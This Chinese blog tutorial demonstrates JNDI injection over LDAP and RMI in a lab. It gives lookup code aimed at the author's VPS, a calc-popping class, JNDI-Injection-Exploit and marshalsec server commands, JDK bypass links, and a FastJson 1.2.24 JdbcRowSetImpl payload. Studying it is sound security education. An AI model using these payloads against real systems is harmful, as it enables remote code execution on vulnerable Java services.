从0到1java安全6

本文详细介绍了JNDI(JavaNamingandDirectoryInterface)注入的概念,包括RMI和LDAP服务的利用条件。通过示例代码展示了如何触发JNDI注入,提到了不同JDK版本下的差异以及利用工具如JNDI-Injection-Exploit和marshalsec。还讨论了FastJson漏洞结合JNDI注入的场景,并提供了相关POC和绕过策略。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

知识点

JNDI详解

什么是jndi注入

JDNI注入安全问题

JDNI注入利用条件

https://blog.youkuaiyun.com/dupei/article/details/120534024
https://www.mi1k7ea.com/2019/09/15/%E6%B5%85%E6%9E%90JNDI%E6%B3%A8%E5%85%A5/#LDAP-Reference%E5%88%A9%E7%94%A8%E6%8A%80%E5%B7%A7

项目案例

img

JNDI注入-RMI&LDAP服务

JNDI全称为 Java Naming and DirectoryInterface(Java命名和目录接口),是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定义用户、网络、机器、对象和服务等各种资源。JNDI支持的服务主要有:DNS、LDAP、CORBA、RMI等。(个人理解就是接口操作)

RMI:远程方法调用注册表

LDAP:轻量级目录访问协议

调用检索:

​ Java为了将Object对象存储在Naming或Directory服务下,提供了Naming Reference功能,对象可以通过绑定Reference存储在Naming或Directory服务下,比如RMI、LDAP等。 javax.naming.InitialContext.lookup()

在RMI服务中调用了InitialContext.lookup()的类有:

org.springframework.transaction.jta.JtaTransactionManager.readObject()

com.sun.rowset.JdbcRowSetImpl.execute()

javax.management.remote.rmi.RMIConnector.connect()

org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName(String sfJNDIName)

在LDAP服务中调用了InitialContext.lookup()的类有:

InitialDirContext.lookup()

Spring LdapTemplate.lookup()

LdapTemplate.lookupContext()

新建项目Jndi-Inject-Demo

在这里插入图片描述

在这里插入图片描述

新建JndiDemo类(lookup里后边服务器生成的class地址)

package com.example.jndiinjectdemo;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class JndiDemo {
    public static void main(String[] args) throws NamingException {
        //创建一个rmi/ldap等服务调用 实例化对象
        InitialContext initialContext = new InitialContext();
        //调用rmi/ldap等服务对象类
        initialContext.lookup("ldap://47.115.204.183:1389/awyh88");
    }
}

在这里插入图片描述

在这里插入图片描述

JNDI远程调用-JNDI-Injection
jdk版本1.8
工具地址:
https://github.com/welk1n/JNDI-Injection-Exploit

点击运行后,成功弹出计算器。vps也显示有远程请求调用(这里使用的ldap,那么换rmi试试)

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

这里在改成rmi协议后并未执行,这个利用的成功链和java的版本有关。

在这里插入图片描述

在这里插入图片描述

那么使用JDK1.7利用链试一试,rmi无效,ldap可用。这个在后边会讲到版本之间的差异

在这里插入图片描述

在这里插入图片描述

总结使用方法

1、使用远程调用(默认端口1389)

new InitialContext().lookup(“ldap://xx.xx.xx.xx:1389/Test”);

new InitialContext().lookup(“rmi://xx.xx.xx.xx:1099/Test”);

2、使用利用工具生成调用地址

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “calc” -A xx.xx.xx.xx

JNDI远程调用-marshalsec
//工具地址
https://github.com/RandomRobbieBF/marshalsec-jar

新建一个JndiTest类(注意是直接在java下,不然调用时会报错,血坑)

package com.example.jndiinjectdemo;

import java.io.IOException;

public class TestJndi {
    public TestJndi() throws IOException {
        Runtime.getRuntime().exec("calc");
    }
}

错误示范❌
在这里插入图片描述

在这里插入图片描述

在该目录下打开终端

在这里插入图片描述

生成class类,点击文件以后会自动反编译,看到里面的代码

javac .\TestJndi.java

在这里插入图片描述

将生成的class文件放到vps的/var/www/html下,(装个nginx或者开python3起个临时web都可以,这里使用nginx)

访问可以下载,说明没问题。

在这里插入图片描述

使用刚刚下载的工具,会监听现在的1389端口(ldap)1399端口(rmi)

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://0.0.0.0/#TestJndi

在这里插入图片描述

将JndiDemo的调用地址修改为刚刚测试的class文件名。、

47.115.204.183:1389/TestJndi

在进行运行

package com.example.jndiinjectdemo;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class JndiDemo {
    public static void main(String[] args) throws NamingException {
        //创建一个rmi/ldap等服务调用 实例化对象
        InitialContext initialContext = new InitialContext();
        //调用rmi/ldap等服务对象类
        // initialContext.lookup("ldap://47.115.204.183:1389/5zhf1o");
        initialContext.lookup("ldap://47.115.204.183:1389/TestJndi");
    }
}

在这里插入图片描述

在使用RMI协议请求,无响应(这边注意端口是1099)

在这里插入图片描述

总结(可以自定义)

JNDI远程调用-marshalsec

1、使用远程调用(默认端口1389)

new InitialContext().lookup(“ldap://xx.xx.xx.xx:1389/Test”);

new InitialContext().lookup(“rmi://xx.xx.xx.xx:1099/Test”);

2、编译调用对象

javac Test.java

3、使用利用工具生成调用协议(rmi,ldap)

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://0.0.0.0/#Test

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://0.0.0.0/#Test

4、将生成的Class存放访问路径

JNDI注入-JDK高版本注入绕过

在这里插入图片描述

java版本是"1.8.0_181"

​ 从上图可以看到是在RMI-JNDI和LDAP-JNDI之间,所以这个版本在RMI协议全部失效了。而LDAP可以使用,1.7的LDAP可以使用的原因是因为1.8继承了1.7的写法,相当于是同一类,所以可以用。

​ 这边由于个人原因只有这个JDK版本,可以下去试试其它的版本。

​ 如果是8U113以下的就可以使用RMI的协议去做。

​ 这里就解释了为什么我们在上边选用的时候先用的是LDAP服务而不是RMI。LDAP相比RMI的选择JDK范围更大、更具有广泛性。

​ 上边的两个JNDI的注入工具,由于调用链不同,能不能执行也不同,所以工具多试试。

在这里插入图片描述

相关绕过

https://github.com/Bl0omZ/JNDIEXP
https://tttang.com/archive/1405/
https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce
https://github.com/Puliczek/CVE-2021-44228-PoC-log4j-bypass-words

JNDI注入-FastJson漏洞结合

在这里插入图片描述

在这里插入图片描述

mvn引入fastjson1.2.24,刷新加载

<!-- https://mvnrepository.com/artifact/com.alibaba/fastjson -->
<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.24</version>
</dependency>

在这里插入图片描述

FastJsonWeb类

package com.example.fastjsonjndiweb;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

@WebServlet("/json")
public class FastJsonWeb extends HelloServlet{
    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        String jsondata = req.getParameter("str");
        System.out.println(jsondata);
        JSONObject jsonObject = JSON.parseObject(jsondata);
        System.out.println(jsonObject);
    }
}

index.jsp

<%@ page contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %>
<!DOCTYPE html>
<html>
<head>
    <title>JSP - Hello World</title>
</head>
<body>
<h1><%= "Hello World!" %>
</h1>
<br/>
<a href="hello-servlet">Hello Servlet</a>
</body>
<form action="http://localhost:8080/FastJsonJndiWeb_war_exploded/json" method="post">
    <label>
        JSON data:<input type="text" name="str">
        <input type="submit" value="提交">
    </label>


</form>
</html>

在这里插入图片描述

在这里插入图片描述

payload

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://47.115.204.183:1389/t4iqdx","autoCommit":true}

在提交地方点击后,弹出计算器。还是JDK原因,RMI协议无法使用

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

黑盒的角度,发现fastjson,并进行利用

在这里插入图片描述

案例

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

https://blog.youkuaiyun.com/weixin_49150931/article/details/126056687
白盒角度,POC为什么这么写

和之前讲到的FastJson反射的进行对比

String test = "{\"@type\":\"com.FastjsonDemo.Run\",\"age\":\"30\",\"name\":\"zhangsanSEC\"}";

//RUN类的计算器是我们自己写的,来进行调用的

在这里插入图片描述

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://47.115.204.183:1389/t4iqdx","autoCommit":true}

这个payload指向的是JdbcRowSetImpl类

ldap的调用类是 javax.naming.InitialContext.lookup()

两者如何联系起来呢?

调用 ldap/rmi javax.naming.InitialContext.lookup()

在这里插入图片描述

相当com.sun.rowset.JdbcRowSetImpl.execute()里面就有javax.naming.InitialContext.lookup(),相当于继承了

总结

1、Jndi- rmi/ldap服务

2、rmi ldap 都可以进行远程调用 可以远程加载class类

3、攻击利用是用到了jndi-inject项目和marshalsec

​ jdk高版本会限制rmi和ldap使用(有专门的高版本绕过方法)

4、利用要知道其他类也能调用JNDI注入

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值